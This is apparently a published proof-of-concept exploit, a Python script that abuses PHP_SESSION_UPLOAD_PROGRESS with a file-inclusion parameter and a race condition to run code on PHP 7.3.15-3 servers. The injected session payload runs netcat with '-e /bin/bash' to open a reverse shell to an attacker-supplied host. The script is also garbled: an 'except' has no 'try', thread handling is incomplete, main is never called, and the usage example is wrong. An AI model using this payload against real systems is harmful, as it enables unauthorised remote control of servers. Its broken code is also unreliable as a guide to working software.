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PHP 7.3.15-3 - 'PHP_SESSION_UPLOAD_PROGRESS' Session Data Injection


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# Exploit Title: PHP 7.3.15-3 - 'PHP_SESSION_UPLOAD_PROGRESS' Session Data Injection
# Date: 26/7/2021
# Exploit Author: SiLvER | Faisal Alhadlaq
# Tested on: PHP Version is 7.3.15-3
# This poc will abusing PHP_SESSION_UPLOAD_PROGRESS then will trigger race condition to get remote code execution, the script will return a reverse shell using netcat

Usage :

python3 poc.p <Target URL> <ListnerIP> <ListnerPORT>
python3 poc.py https://xyz.xyz 1337

import requests
import threading
import datetime
import sys

x = datetime.datetime.now()
addSeconds = datetime.timedelta(0, 10)
newDatetime = x + addSeconds

def fuzz():
	targetIP = sys.argv[1]
	listnerIP = sys.argv[2]
	listnerPORT = sys.argv[3]
	global newDatetime
	while True:
			if datetime.datetime.now() > newDatetime:
			# proxies = {
			#     "http": "",
			#    	"https": "",
			#    	}
			sessionName = "SiLvER"
			url = targetIP
			s = requests.Session()
			cookies = {'PHPSESSID': sessionName}
			files = {'PHP_SESSION_UPLOAD_PROGRESS': (None, '<?php `nc '+ listnerIP +' '+ listnerPORT + ' -e /bin/bash`;?>'), 'file': ('anyThinG', 'Abusing PHP_SESSION_UPLOAD_PROGRESS By Faisal Alhadlaq '*100, 'application/octet-stream')}
			# You need to change the parameter in your case , here the vulnerabile parameter is (lfi)
			params = (('lfi', '/var/lib/php/sessions/sess_'+sessionName),)
			x = s.post(url, files=files, params=params, cookies=cookies, allow_redirects=False, verify=False)#, proxies=proxies
		except Exception as error:
def main():
	print("\n(+) PoC for Abusing PHP_SESSION_UPLOAD_PROGRESS By SiLvER\n")
	threads = []
	for _ in range(20):
		t = threading.Thread(target=fuzz)
	for thread in threads:

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print("\n(-) Usage: {} <Target URL> <ListnerIP> <ListnerPORT>".format(sys.argv[0]))
        print("(-) eg: {} https://xyz.xyz 1337 ".format(sys.argv[0]))
        print("\n(=) By SiLvER \n")
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